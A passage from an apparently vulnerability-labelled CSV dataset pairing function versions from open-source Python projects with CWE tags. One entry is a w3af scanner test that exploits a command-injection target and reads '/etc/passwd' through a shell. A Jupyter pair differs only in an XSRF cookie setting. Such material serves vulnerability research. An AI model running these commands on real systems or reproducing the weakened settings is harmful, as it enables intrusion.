                      jinja_env_options=None):

        _template_path = settings_overrides.get(
            ""template_path"",
            ipython_app.template_file_path,
        )
        if isinstance(_template_path, py3compat.string_types):
            _template_path = (_template_path,)
        template_path = [os.path.expanduser(path) for path in _template_path]

        jenv_opt = {""autoescape"": True}
        jenv_opt.update(jinja_env_options if jinja_env_options else {})

        env = Environment(loader=FileSystemLoader(template_path), **jenv_opt)
        
        sys_info = get_sys_info()
        if sys_info['commit_source'] == 'repository':
            # don't cache (rely on 304) when working from master
            version_hash = ''
        else:
            # reset the cache on server restart
            version_hash = datetime.datetime.now().strftime(""%Y%m%d%H%M%S"")

        settings = dict(
            # basics
            log_function=log_request,
            base_url=base_url,
            default_url=default_url,
            template_path=template_path,
            static_path=ipython_app.static_file_path,
            static_custom_path=ipython_app.static_custom_path,
            static_handler_class = FileFindHandler,
            static_url_prefix = url_path_join(base_url,'/static/'),
            static_handler_args = {
                # don't cache custom.js
                'no_cache_paths': [url_path_join(base_url, 'static', 'custom')],
            },
            version_hash=version_hash,
            ignore_minified_js=ipython_app.ignore_minified_js,

            # rate limits
            iopub_msg_rate_limit=ipython_app.iopub_msg_rate_limit,
            iopub_data_rate_limit=ipython_app.iopub_data_rate_limit,
            rate_limit_window=ipython_app.rate_limit_window,

            # authentication
            cookie_secret=ipython_app.cookie_secret,
            login_url=url_path_join(base_url,'/login'),
            login_handler_class=ipython_app.login_handler_class,
            logout_handler_class=ipython_app.logout_handler_class,
            password=ipython_app.password,
            xsrf_cookies=True,
            disable_check_xsrf=ipython_app.disable_check_xsrf,

            # managers
            kernel_manager=kernel_manager,
            contents_manager=contents_manager,
            session_manager=session_manager,
            kernel_spec_manager=kernel_spec_manager,
            config_manager=config_manager,

            # IPython stuff
            jinja_template_vars=ipython_app.jinja_template_vars,
            nbextensions_path=ipython_app.nbextensions_path,
            websocket_url=ipython_app.websocket_url,
            mathjax_url=ipython_app.mathjax_url,
            config=ipython_app.config,
            config_dir=ipython_app.config_dir,
            jinja2_env=env,
            terminals_available=False,  # Set later if terminals are available
        )

        # allow custom overrides for the tornado web app.
        settings.update(settings_overrides)
        return settings",,jupyter/notebook,ed9399d9ad738249de5766c89293a962ee20db92,"def init_settings(self, ipython_app, kernel_manager, contents_manager,
                      session_manager, kernel_spec_manager,
                      config_manager,
                      log, base_url, default_url, settings_overrides,
                      jinja_env_options=None):

        _template_path = settings_overrides.get(
            ""template_path"",
            ipython_app.template_file_path,
        )
        if isinstance(_template_path, py3compat.string_types):
            _template_path = (_template_path,)
        template_path = [os.path.expanduser(path) for path in _template_path]

        jenv_opt = {""autoescape"": True}
        jenv_opt.update(jinja_env_options if jinja_env_options else {})

        env = Environment(loader=FileSystemLoader(template_path), **jenv_opt)
        
        sys_info = get_sys_info()
        if sys_info['commit_source'] == 'repository':
            # don't cache (rely on 304) when working from master
            version_hash = ''
        else:
            # reset the cache on server restart
            version_hash = datetime.datetime.now().strftime(""%Y%m%d%H%M%S"")

        settings = dict(
            # basics
            log_function=log_request,
            base_url=base_url,
            default_url=default_url,
            template_path=template_path,
            static_path=ipython_app.static_file_path,
            static_custom_path=ipython_app.static_custom_path,
            static_handler_class = FileFindHandler,
            static_url_prefix = url_path_join(base_url,'/static/'),
            static_handler_args = {
                # don't cache custom.js
                'no_cache_paths': [url_path_join(base_url, 'static', 'custom')],
            },
            version_hash=version_hash,
            ignore_minified_js=ipython_app.ignore_minified_js,

            # rate limits
            iopub_msg_rate_limit=ipython_app.iopub_msg_rate_limit,
            iopub_data_rate_limit=ipython_app.iopub_data_rate_limit,
            rate_limit_window=ipython_app.rate_limit_window,

            # authentication
            cookie_secret=ipython_app.cookie_secret,
            login_url=url_path_join(base_url,'/login'),
            login_handler_class=ipython_app.login_handler_class,
            logout_handler_class=ipython_app.logout_handler_class,
            password=ipython_app.password,

            # managers
            kernel_manager=kernel_manager,
            contents_manager=contents_manager,
            session_manager=session_manager,
            kernel_spec_manager=kernel_spec_manager,
            config_manager=config_manager,

            # IPython stuff
            jinja_template_vars=ipython_app.jinja_template_vars,
            nbextensions_path=ipython_app.nbextensions_path,
            websocket_url=ipython_app.websocket_url,
            mathjax_url=ipython_app.mathjax_url,
            config=ipython_app.config,
            config_dir=ipython_app.config_dir,
            jinja2_env=env,
            terminals_available=False,  # Set later if terminals are available
        )

        # allow custom overrides for the tornado web app.
        settings.update(settings_overrides)
        return settings"
,UNKNOWN,UNKNOWN,salt/modules/augeas_cfg.py,1,"def execute(context=None, lens=None, commands=()):
    '''
    Execute Augeas commands

    .. versionadded:: 2014.7.0

    CLI Example:

    .. code-block:: bash

        salt '*' augeas.execute /files/etc/redis/redis.conf commands='[""set bind 0.0.0.0"", ""set maxmemory 1G""]'
    '''
    ret = {'retval': False}

    method_map = {
        'set':    'set',
        'mv':     'move',
        'move':   'move',
        'ins':    'insert',
        'insert': 'insert',
        'rm':     'remove',
        'remove': 'remove',
    }

    flags = _Augeas.NO_MODL_AUTOLOAD if lens else _Augeas.NONE
    aug = _Augeas(flags=flags)

    if lens:
        aug.add_transform(lens, re.sub('^/files', '', context))
        aug.load()

    for command in commands:
        # first part up to space is always the command name (i.e.: set, move)
        cmd, arg = command.split(' ', 1)
        if cmd not in method_map:
            ret['error'] = 'Command {0} is not supported (yet)'.format(cmd)
            return ret

        method = method_map[cmd]

        try:
            if method == 'set':
                path, value, remainder = re.split('([^\'"" ]+|""[^""]+""|\'[^\']+\')$', arg, 1)
                if context:
                    path = os.path.join(context.rstrip('/'), path.lstrip('/'))
                value = value.strip('""').strip(""'"")
                args = {'path': path, 'value': value}
            elif method == 'move':
                path, dst = arg.split(' ', 1)
                if context:
                    path = os.path.join(context.rstrip('/'), path.lstrip('/'))
                args = {'src': path, 'dst': dst}
            elif method == 'insert':
                path, where, label = re.split(' (before|after) ', arg)
                if context:
                    path = os.path.join(context.rstrip('/'), path.lstrip('/'))
                args = {'path': path, 'label': label, 'before': where == 'before'}
            elif method == 'remove':
                path = arg
                if context:
                    path = os.path.join(context.rstrip('/'), path.lstrip('/'))
                args = {'path': path}
        except ValueError as err:
            log.error(str(err))
            ret['error'] = 'Invalid formatted command, ' \
                           'see debug log for details: {0}'.format(arg)
            return ret

        log.debug('{0}: {1}'.format(method, args))

        func = getattr(aug, method)
        func(**args)

    try:
        aug.save()
        ret['retval'] = True
    except IOError as err:
        ret['error'] = str(err)

        if lens and not lens.endswith('.lns'):
            ret['error'] += '\nLenses are normally configured as ""name.lns"". ' \
                            'Did you mean ""{0}.lns""?'.format(lens)

    aug.close()
    return ret",CWE-605,saltstack/salt,493375a3af5cf486f58e032d7364f5b753dc66ac,"def execute(context=None, lens=None, commands=()):
    '''
    Execute Augeas commands

    .. versionadded:: 2014.7.0

    CLI Example:

    .. code-block:: bash

        salt '*' augeas.execute /files/etc/redis/redis.conf commands='[""set bind 0.0.0.0"", ""set maxmemory 1G""]'
    '''
    ret = {'retval': False}

    method_map = {
        'set':    'set',
        'mv':     'move',
        'move':   'move',
        'ins':    'insert',
        'insert': 'insert',
        'rm':     'remove',
        'remove': 'remove',
    }

    flags = _Augeas.NO_MODL_AUTOLOAD if lens else _Augeas.NONE
    aug = _Augeas(flags=flags)

    if lens:
        aug.add_transform(lens, re.sub('^/files', '', context))
        aug.load()

    for command in commands:
        # first part up to space is always the command name (ie: set, move)
        cmd, arg = command.split(' ', 1)
        if cmd not in method_map:
            ret['error'] = 'Command {0} is not supported (yet)'.format(cmd)
            return ret

        method = method_map[cmd]

        try:
            if method == 'set':
                path, value, remainder = re.split('([^\'"" ]+|""[^""]+""|\'[^\']+\')$', arg, 1)
                if context:
                    path = os.path.join(context.rstrip('/'), path.lstrip('/'))
                value = value.strip('""').strip(""'"")
                args = {'path': path, 'value': value}
            elif method == 'move':
                path, dst = arg.split(' ', 1)
                if context:
                    path = os.path.join(context.rstrip('/'), path.lstrip('/'))
                args = {'src': path, 'dst': dst}
            elif method == 'insert':
                path, where, label = re.split(' (before|after) ', arg)
                if context:
                    path = os.path.join(context.rstrip('/'), path.lstrip('/'))
                args = {'path': path, 'label': label, 'before': where == 'before'}
            elif method == 'remove':
                path = arg
                if context:
                    path = os.path.join(context.rstrip('/'), path.lstrip('/'))
                args = {'path': path}
        except ValueError as err:
            log.error(str(err))
            ret['error'] = 'Invalid formatted command, ' \
                           'see debug log for details: {0}'.format(arg)
            return ret

        log.debug('{0}: {1}'.format(method, args))

        func = getattr(aug, method)
        func(**args)

    try:
        aug.save()
        ret['retval'] = True
    except IOError as err:
        ret['error'] = str(err)

        if lens and not lens.endswith('.lns'):
            ret['error'] += '\nLenses are normally configured as ""name.lns"". ' \
                            'Did you mean ""{0}.lns""?'.format(lens)

    aug.close()
    return ret"
,UNKNOWN,UNKNOWN,tests/test_basic.py,1,"def test_test_app_proper_environ():
    app = flask.Flask(__name__)
    app.config.update(
        SERVER_NAME='localhost.localdomain:5000'
    )

    @app.route('/')
    def index():
        return 'Foo'

    @app.route('/', subdomain='foo')
    def subdomain():
        return 'Foo SubDomain'

    rv = app.test_client().get('/')
    assert rv.data == b'Foo'

    rv = app.test_client().get('/', 'http://localhost.localdomain:5000')
    assert rv.data == b'Foo'

    rv = app.test_client().get('/', 'https://localhost.localdomain:5000')
    assert rv.data == b'Foo'

    app.config.update(SERVER_NAME='localhost.localdomain')
    rv = app.test_client().get('/', 'https://localhost.localdomain')
    assert rv.data == b'Foo'

    try:
        app.config.update(SERVER_NAME='localhost.localdomain:443')
        rv = app.test_client().get('/', 'https://localhost.localdomain')
        # Werkzeug 0.8
        assert rv.status_code == 404
    except ValueError as e:
        # Werkzeug 0.7
        assert str(e) == (
            ""the server name provided ""
            ""('localhost.localdomain:443') does not match the ""
            ""server name from the WSGI environment ('localhost.localdomain')""
        )

    try:
        app.config.update(SERVER_NAME='localhost.localdomain')
        rv = app.test_client().get('/', 'http://foo.localhost')
        # Werkzeug 0.8
        assert rv.status_code == 404
    except ValueError as e:
        # Werkzeug 0.7
        assert str(e) == (
            ""the server name provided ""
            ""('localhost.localdomain') does not match the ""
            ""server name from the WSGI environment ('foo.localhost')""
        )

    rv = app.test_client().get('/', 'http://foo.localhost.localdomain')
    assert rv.data == b'Foo SubDomain'",CWE-703,pallets/flask,78cd4161f0a264df89046b6324446b27011b0930,"def test_test_app_proper_environ():
    app = flask.Flask(__name__)
    app.config.update(
        SERVER_NAME='localhost.localdomain:5000'
    )

    @app.route('/')
    def index():
        return 'Foo'

    @app.route('/', subdomain='foo')
    def subdomain():
        return 'Foo SubDomain'

    rv = app.test_client().get('/')
    assert rv.data == b'Foo'

    rv = app.test_client().get('/', 'http://localhost.localdomain:5000')
    assert rv.data == b'Foo'

    rv = app.test_client().get('/', 'https://localhost.localdomain:5000')
    assert rv.data == b'Foo'

    app.config.update(SERVER_NAME='localhost.localdomain')
    rv = app.test_client().get('/', 'https://localhost.localdomain')
    assert rv.data == b'Foo'

    try:
        app.config.update(SERVER_NAME='localhost.localdomain:443')
        rv = app.test_client().get('/', 'https://localhost.localdomain')
        # Werkzeug 0.8
        assert rv.status_code == 404
    except ValueError as e:
        # Werkzeug 0.7
        assert str(e) == (
            ""the server name provided ""
            ""('localhost.localdomain:443') does not match the ""
            ""server name from the WSGI environment ('localhost.localdomain')""
        )

    try:
        app.config.update(SERVER_NAME='localhost.localdomain')
        rv = app.test_client().get('/', 'http://foo.localhost')
        # Werkzeug 0.8
        assert rv.status_code == 404
    except ValueError as e:
        # Werkzeug 0.7
        assert str(e) == (
            ""the server name provided ""
            ""('localhost.localdomain') does not match the ""
            ""server name from the WSGI environment ('foo.localhost')""
        )

    rv = app.test_client().get('/', 'http://foo.localhost.localdomain')
    assert rv.data == b'Foo SubDomain'"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,requests/api.py,0,"def put(url, data=None, **kwargs):
    """"""Sends a PUT request.

    :param url: URL for the new :class:`Request` object.
    :param data: (optional) Dictionary, bytes, or file-like object to send in the body of the :class:`Request`.
    :param json: (optional) json data to send in the body of the :class:`Request`.
    :param \*\*kwargs: Optional arguments that ``request`` takes.
    :return: :class:`Response <Response>` object
    :rtype: requests.Response
    """"""

    return request('put', url, data=data, **kwargs)",,psf/requests,80634b2fad69ba5a88d4f0d94f44c7e4681db3ea,"def put(url, data=None, **kwargs):
    """"""Sends a PUT request.

    :param url: URL for the new :class:`Request` object.
    :param data: (optional) Dictionary, bytes, or file-like object to send in the body of the :class:`Request`.
    :param \*\*kwargs: Optional arguments that ``request`` takes.
    :return: :class:`Response <Response>` object
    :rtype: requests.Response
    """"""

    return request('put', url, data=data, **kwargs)"
,UNKNOWN,UNKNOWN,tests/migrations/test_operations.py,1,"def test_run_sql(self):
        """"""
        Tests the RunSQL operation.
        """"""
        project_state = self.set_up_test_model(""test_runsql"")
        # Create the operation
        operation = migrations.RunSQL(
            # Use a multi-line string with a comment to test splitting on SQLite and MySQL respectively
            ""CREATE TABLE i_love_ponies (id int, special_thing varchar(15));\n""
            ""INSERT INTO i_love_ponies (id, special_thing) VALUES (1, 'i love ponies'); -- this is magic!\n""
            ""INSERT INTO i_love_ponies (id, special_thing) VALUES (2, 'i love django');\n""
            ""UPDATE i_love_ponies SET special_thing = 'Ponies' WHERE special_thing LIKE '%%ponies';""
            ""UPDATE i_love_ponies SET special_thing = 'Django' WHERE special_thing LIKE '%django';"",

            # Run delete queries to test for parameter substitution failure
            # reported in #23426
            ""DELETE FROM i_love_ponies WHERE special_thing LIKE '%Django%';""
            ""DELETE FROM i_love_ponies WHERE special_thing LIKE '%%Ponies%%';""
            ""DROP TABLE i_love_ponies"",

            state_operations=[migrations.CreateModel(""SomethingElse"", [(""id"", models.AutoField(primary_key=True))])],
        )
        self.assertEqual(operation.describe(), ""Raw SQL operation"")
        # Test the state alteration
        new_state = project_state.clone()
        operation.state_forwards(""test_runsql"", new_state)
        self.assertEqual(len(new_state.models[""test_runsql"", ""somethingelse""].fields), 1)
        # Make sure there's no table
        self.assertTableNotExists(""i_love_ponies"")
        # Test the database alteration
        with connection.schema_editor() as editor:
            operation.database_forwards(""test_runsql"", editor, project_state, new_state)
        self.assertTableExists(""i_love_ponies"")
        # Make sure all the SQL was processed
        with connection.cursor() as cursor:
            cursor.execute(""SELECT COUNT(*) FROM i_love_ponies"")
            self.assertEqual(cursor.fetchall()[0][0], 2)
            cursor.execute(""SELECT COUNT(*) FROM i_love_ponies WHERE special_thing = 'Django'"")
            self.assertEqual(cursor.fetchall()[0][0], 1)
            cursor.execute(""SELECT COUNT(*) FROM i_love_ponies WHERE special_thing = 'Ponies'"")
            self.assertEqual(cursor.fetchall()[0][0], 1)
        # And test reversal
        self.assertTrue(operation.reversible)
        with connection.schema_editor() as editor:
            operation.database_backwards(""test_runsql"", editor, new_state, project_state)
        self.assertTableNotExists(""i_love_ponies"")",CWE-89,django/django,ae14c75014379d1cf405509b65eb986c0cb3b0f3,"def test_run_sql(self):
        """"""
        Tests the RunSQL operation.
        """"""
        project_state = self.set_up_test_model(""test_runsql"")
        # Create the operation
        operation = migrations.RunSQL(
            # Use a multi-line string with a comment to test splitting on SQLite and MySQL respectively
            ""CREATE TABLE i_love_ponies (id int, special_thing int);\n""
            ""INSERT INTO i_love_ponies (id, special_thing) VALUES (1, 42); -- this is magic!\n""
            ""INSERT INTO i_love_ponies (id, special_thing) VALUES (2, 51);\n"",
            ""DROP TABLE i_love_ponies"",
            state_operations=[migrations.CreateModel(""SomethingElse"", [(""id"", models.AutoField(primary_key=True))])],
        )
        self.assertEqual(operation.describe(), ""Raw SQL operation"")
        # Test the state alteration
        new_state = project_state.clone()
        operation.state_forwards(""test_runsql"", new_state)
        self.assertEqual(len(new_state.models[""test_runsql"", ""somethingelse""].fields), 1)
        # Make sure there's no table
        self.assertTableNotExists(""i_love_ponies"")
        # Test the database alteration
        with connection.schema_editor() as editor:
            operation.database_forwards(""test_runsql"", editor, project_state, new_state)
        self.assertTableExists(""i_love_ponies"")
        # Make sure all the SQL was processed
        with connection.cursor() as cursor:
            cursor.execute(""SELECT COUNT(*) FROM i_love_ponies"")
            self.assertEqual(cursor.fetchall()[0][0], 2)
        # And test reversal
        self.assertTrue(operation.reversible)
        with connection.schema_editor() as editor:
            operation.database_backwards(""test_runsql"", editor, new_state, project_state)
        self.assertTableNotExists(""i_love_ponies"")"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/httputil_test.py,0,"def test_special_filenames(self):
        filenames = ['a;b.txt',
                     'a""b.txt',
                     'a"";b.txt',
                     'a;""b.txt',
                     'a"";"";.txt',
                     'a\\""b.txt',
                     'a\\b.txt',
                     ]
        for filename in filenames:
            logging.debug(""trying filename %r"", filename)
            data = """"""\
--1234
Content-Disposition: form-data; name=""files""; filename=""%s""

Foo
--1234--"""""" % filename.replace('\\', '\\\\').replace('""', '\\""')
            data = utf8(data.replace(""\n"", ""\r\n""))
            args = {}
            files = {}
            parse_multipart_form_data(b""1234"", data, args, files)
            file = files[""files""][0]
            self.assertEqual(file[""filename""], filename)
            self.assertEqual(file[""body""], b""Foo"")",CWE-Unknown,tornadoweb/tornado,e9785a38970a7dee79dc8e6e0e2370bdfaa8b2bc,"def test_special_filenames(self):
        filenames = ['a;b.txt',
                     'a""b.txt',
                     'a"";b.txt',
                     'a;""b.txt',
                     'a"";"";.txt',
                     'a\\""b.txt',
                     'a\\b.txt',
                     ]
        for filename in filenames:
            logging.debug(""trying filename %r"", filename)
            data = """"""\
--1234
Content-Disposition: form-data; name=""files""; filename=""%s""

Foo
--1234--"""""" % filename.replace('\\', '\\\\').replace('""', '\\""')
            data = utf8(data.replace(""\n"", ""\r\n""))
            args = {}
            files = {}
            parse_multipart_form_data(b""1234"", data, args, files)
            file = files[""files""][0]
            self.assertEqual(file[""filename""], filename)
            self.assertEqual(file[""body""], b""Foo"")"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/controllers/core_helpers/strategy_observers/thread_state_observer.py,0,"def add_thread_stack(self, inspect_data):
        """"""
        When threads have been running for a long time, it is not enough to
        log the initial function that the worker was told to run, we want to
        know exactly what function the thread is running *now*, including the
        whole traceback.
        """"""
        #
        #   Define which workers we want to inspect
        #
        workers_to_inspect = []

        for worker_state in inspect_data:
            if worker_state['idle'] or worker_state['start_time'] is None:
                continue

            spent = time.time() - worker_state['start_time']
            if spent < self.STACK_TRACE_MIN_TIME:
                continue

            workers_to_inspect.append(worker_state['worker_id'])

        #
        #   If there is nothing to do, just return to reduce the performance
        #   impact of this function
        #
        if not workers_to_inspect:
            return inspect_data

        #
        #   Find the workers in the thread list
        #
        for thread_id, frame in sys._current_frames().items():
            thread = self.get_thread_from_thread_id(thread_id)

            if thread is None:
                continue

            if not hasattr(thread, 'get_state'):
                continue

            state = thread.get_state()
            worker_id = state['worker_id']

            if worker_id not in workers_to_inspect:
                continue

            trace = []
            for filename, lineno, name, line in traceback.extract_stack(frame):
                trace.append('%s:%s @ %s()' % (filename, lineno, name))

            trace = trace[-10:]
            trace = ', '.join(trace)

            # Now save the trace to the inspect_data
            for worker_state in inspect_data:
                if worker_state['worker_id'] == worker_id:
                    worker_state['trace'] = trace

        return inspect_data",,andresriancho/w3af,64a938a16db4decb294c04d37b005c196bc43e08,"def add_thread_stack(self, inspect_data):
        """"""
        When threads have been running for a long time, it is not enough to
        log the initial function that the worker was told to run, we want to
        know exactly what function the thread is running *now*, including the
        whole traceback.
        """"""
        #
        #   Define which workers we want to inspect
        #
        workers_to_inspect = []

        for worker_state in inspect_data:
            if worker_state['idle']:
                continue

            spent = time.time() - worker_state['start_time']
            if spent < self.STACK_TRACE_MIN_TIME:
                continue

            workers_to_inspect.append(worker_state['worker_id'])

        #
        #   If there is nothing to do, just return to reduce the performance
        #   impact of this function
        #
        if not workers_to_inspect:
            return inspect_data

        #
        #   Find the workers in the thread list
        #
        for thread_id, frame in sys._current_frames().items():
            thread = self.get_thread_from_thread_id(thread_id)

            if thread is None:
                continue

            if not hasattr(thread, 'get_state'):
                continue

            state = thread.get_state()
            worker_id = state['worker_id']

            if worker_id not in workers_to_inspect:
                continue

            trace = []
            for filename, lineno, name, line in traceback.extract_stack(frame):
                trace.append('%s:%s @ %s()' % (filename, lineno, name))

            trace = trace[-10:]
            trace = ', '.join(trace)

            # Now save the trace to the inspect_data
            for worker_state in inspect_data:
                if worker_state['worker_id'] == worker_id:
                    worker_state['trace'] = trace

        return inspect_data"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/tests/attack/test_os_commanding.py,0,"def test_found_exploit_osc(self):
        # Run the scan
        cfg = self._run_configs['cfg']
        self._scan(cfg['target'], cfg['plugins'])

        # Assert the general results
        vulns = self.kb.get('os_commanding', 'os_commanding')
        self.assertEquals(4, len(vulns))
        self.assertEquals(all([""OS commanding vulnerability"" == v.get_name() for v in vulns ]),
                          True)

        # Verify the specifics about the vulnerabilities
        EXPECTED = [
            ('passthru.php', 'cmd'),
            ('simple_osc.php', 'cmd'),
            ('param_osc.php', 'param'),
            ('blind_osc.php', 'cmd')
        ]

        found_vulns = [ (v.getURL().getFileName() , v.get_mutant().get_var()) for v in vulns]
        
        self.assertEquals( set(EXPECTED),
                           set(found_vulns)
                          )

        vuln_to_exploit_id = [v.get_id() for v in vulns 
                              if v.getURL().getFileName() == 'simple_osc.php'][0]
        
        plugin = self.w3afcore.plugins.get_plugin_inst('attack','os_commanding' )
        
        self.assertTrue( plugin.canExploit( vuln_to_exploit_id ) )
        
        exploit_result = plugin.exploit( vuln_to_exploit_id )

        self.assertGreaterEqual(len(exploit_result), 1)
        
        #
        # Now I start testing the shell itself!
        #
        shell = exploit_result[0]
        etc_passwd = shell.generic_user_input('exec', ['cat', '/etc/passwd'] )
        
        self.assertTrue( 'root' in etc_passwd )
        
        lsp = shell.generic_user_input('lsp', [])
        self.assertTrue( 'apache_config_directory' in lsp )
        
        payload = shell.generic_user_input('payload', ['apache_config_directory'])
        self.assertTrue( payload is None )",,andresriancho/w3af,8b82f5b4d839c26a1f3390634f5e9977cfd7db6c,"def test_found_exploit_osc(self):
        # Run the scan
        cfg = self._run_configs['cfg']
        self._scan(cfg['target'], cfg['plugins'])

        # Assert the general results
        vulns = self.kb.get('os_commanding', 'os_commanding')
        self.assertEquals(4, len(vulns))
        self.assertEquals(all([""OS commanding vulnerability"" == v.get_name() for v in vulns ]),
                          True)

        # Verify the specifics about the vulnerabilities
        EXPECTED = [
            ('passthru.php', 'cmd'),
            ('simple_osc.php', 'cmd'),
            ('param_osc.php', 'param'),
            ('blind_osc.php', 'cmd')
        ]

        found_vulns = [ (v.getURL().getFileName() , v.get_mutant().get_var()) for v in vulns]
        
        self.assertEquals( set(EXPECTED),
                           set(found_vulns)
                          )

        vuln_to_exploit_id = [v.getId() for v in vulns 
                              if v.getURL().getFileName() == 'simple_osc.php'][0]
        
        plugin = self.w3afcore.plugins.get_plugin_inst('attack','os_commanding' )
        
        self.assertTrue( plugin.canExploit( vuln_to_exploit_id ) )
        
        exploit_result = plugin.exploit( vuln_to_exploit_id )

        self.assertGreaterEqual(len(exploit_result), 1)
        
        #
        # Now I start testing the shell itself!
        #
        shell = exploit_result[0]
        etc_passwd = shell.generic_user_input('exec', ['cat', '/etc/passwd'] )
        
        self.assertTrue( 'root' in etc_passwd )
        
        lsp = shell.generic_user_input('lsp', [])
        self.assertTrue( 'apache_config_directory' in lsp )
        
        payload = shell.generic_user_input('payload', ['apache_config_directory'])
        self.assertTrue( payload is None )"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/crypt.py,0,"def sign_in(self, timeout=60, safe=True, tries=1):
        '''
        Send a sign in request to the master, sets the key information and
        returns a dict containing the master publish interface to bind to
        and the decrypted aes key for transport decryption.
        '''
        auth = {}
        m_pub_fn = os.path.join(self.opts['pki_dir'], self.mpub)

        sreq = salt.payload.SREQ(
            self.opts['master_uri'],
        )

        try:
            payload = sreq.send_auto(
                self.minion_sign_in_payload(),
                tries=tries,
                timeout=timeout
            )
        except SaltReqTimeoutError as e:
            if safe:
                log.warning('SaltReqTimeoutError: {0}'.format(e))
                return 'retry'
            raise SaltClientError('Failed sign in')

        if 'load' in payload:
            if 'ret' in payload['load']:
                if not payload['load']['ret']:
                    if self.opts['rejected_retry']:
                        log.error(
                            'The Salt Master has rejected this minion\'s public '
                            'key.\nTo repair this issue, delete the public key '
                            'for this minion on the Salt Master.\nThe Salt '
                            'Minion will attempt to to re-authenicate.'
                        )
                        return 'retry'
                    else:
                        log.critical(
                            'The Salt Master has rejected this minion\'s public '
                            'key!\nTo repair this issue, delete the public key '
                            'for this minion on the Salt Master and restart this '
                            'minion.\nOr restart the Salt Master in open mode to '
                            'clean out the keys. The Salt Minion will now exit.'
                        )
                        sys.exit(os.EX_OK)
                # has the master returned that its maxed out with minions?
                elif payload['load']['ret'] == 'full':
                    return 'full'
                else:
                    log.error(
                        'The Salt Master has cached the public key for this '
                        'node, this salt minion will wait for {0} seconds '
                        'before attempting to re-authenticate'.format(
                            self.opts['acceptance_wait_time']
                        )
                    )
                    return 'retry'
        auth['aes'] = self.verify_master(payload)
        if not auth['aes']:
            log.critical(
                'The Salt Master server\'s public key did not authenticate!\n'
                'The master may need to be updated if it is a version of Salt '
                'lower than {0}, or\n'
                'If you are confident that you are connecting to a valid Salt '
                'Master, then remove the master public key and restart the '
                'Salt Minion.\nThe master public key can be found '
                'at:\n{1}'.format(salt.version.__version__, m_pub_fn)
            )
            sys.exit(42)
        if self.opts.get('syndic_master', False):  # Is syndic
            syndic_finger = self.opts.get('syndic_finger', self.opts.get('master_finger', False))
            if syndic_finger:
                if salt.utils.pem_finger(m_pub_fn) != syndic_finger:
                    self._finger_fail(syndic_finger, m_pub_fn)
        else:
            if self.opts.get('master_finger', False):
                if salt.utils.pem_finger(m_pub_fn) != self.opts['master_finger']:
                    self._finger_fail(self.opts['master_finger'], m_pub_fn)
        auth['publish_port'] = payload['publish_port']
        return auth",,saltstack/salt,fdb4102f7e034941295b93a0bd498c97034f143b,"def sign_in(self, timeout=60, safe=True, tries=1):
        '''
        Send a sign in request to the master, sets the key information and
        returns a dict containing the master publish interface to bind to
        and the decrypted aes key for transport decryption.
        '''
        auth = {}
        m_pub_fn = os.path.join(self.opts['pki_dir'], self.mpub)

        sreq = salt.payload.SREQ(
            self.opts['master_uri'],
        )

        try:
            payload = sreq.send_auto(
                self.minion_sign_in_payload(),
                tries=tries,
                timeout=timeout
            )
        except SaltReqTimeoutError as e:
            if safe:
                log.warning('SaltReqTimeoutError: {0}'.format(e))
                return 'retry'
            raise SaltClientError('Failed sign in')

        if 'load' in payload:
            if 'ret' in payload['load']:
                if not payload['load']['ret']:
                    if self.opts['rejected_retry']:
                        log.error(
                            'The Salt Master has rejected this minion\'s public '
                            'key.\nTo repair this issue, delete the public key '
                            'for this minion on the Salt Master.\nThe Salt '
                            'Minion will attempt to to re-authenicate.'
                        )
                        return 'retry'
                    else:
                        log.critical(
                            'The Salt Master has rejected this minion\'s public '
                            'key!\nTo repair this issue, delete the public key '
                            'for this minion on the Salt Master and restart this '
                            'minion.\nOr restart the Salt Master in open mode to '
                            'clean out the keys. The Salt Minion will now exit.'
                        )
                        sys.exit(os.EX_OK)
                # has the master returned that its maxed out with minions?
                elif payload['load']['ret'] == 'full':
                        return 'full'
                else:
                    log.error(
                        'The Salt Master has cached the public key for this '
                        'node, this salt minion will wait for {0} seconds '
                        'before attempting to re-authenticate'.format(
                            self.opts['acceptance_wait_time']
                        )
                    )
                    return 'retry'
        auth['aes'] = self.verify_master(payload)
        if not auth['aes']:
            log.critical(
                'The Salt Master server\'s public key did not authenticate!\n'
                'The master may need to be updated if it is a version of Salt '
                'lower than {0}, or\n'
                'If you are confident that you are connecting to a valid Salt '
                'Master, then remove the master public key and restart the '
                'Salt Minion.\nThe master public key can be found '
                'at:\n{1}'.format(salt.version.__version__, m_pub_fn)
            )
            sys.exit(42)
        if self.opts.get('syndic_master', False):  # Is syndic
            syndic_finger = self.opts.get('syndic_finger', self.opts.get('master_finger', False))
            if syndic_finger:
                if salt.utils.pem_finger(m_pub_fn) != syndic_finger:
                    self._finger_fail(syndic_finger, m_pub_fn)
        else:
            if self.opts.get('master_finger', False):
                if salt.utils.pem_finger(m_pub_fn) != self.opts['master_finger']:
                    self._finger_fail(self.opts['master_finger'], m_pub_fn)
        auth['publish_port'] = payload['publish_port']
        return auth"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/linux/psxview.py,0,"def calculate(self):
        linux_common.set_plugin_members(self)
        phys_addr_space = utils.load_as(self._config, astype = 'physical')
        
        ps_sources = {}

        # The keys are names of process sources
        # The values are the virtual offset of the task_struct

        ps_sources['pslist']     = self._get_pslist()
        ps_sources['pid_hash']   = self._get_pid_hash()
        ps_sources['kmem_cache'] = self._get_kmem_cache()
        ps_sources['parents']    = self._get_task_parents()
        ps_sources['thread_leaders'] = self._get_thread_leaders()
        ps_sources['psscan']         = self._get_psscan()

        # Build a list of offsets from all sources
        seen_offsets = []
        for source in ps_sources:

            tasks = ps_sources[source]

            for offset in tasks:

                if offset and offset not in seen_offsets:
                    seen_offsets.append(offset)
                    yield offset, obj.Object(""task_struct"", offset = offset, vm = phys_addr_space), ps_sources",,volatilityfoundation/volatility,534374da57679dc353c974de45d27a42b81931ec,"def calculate(self):
        linux_common.set_plugin_members(self)
        phys_addr_space = utils.load_as(self._config, astype = 'physical')
        
        ps_sources = {}

        # The keys are names of process sources
        # The values are the virtual offset of the task_struct

        ps_sources['pslist']     = self._get_pslist()
        ps_sources['pid_hash']   = self._get_pid_hash()
        ps_sources['kmem_cache'] = self._get_kmem_cache()
        ps_sources['parents']    = self._get_task_parents()
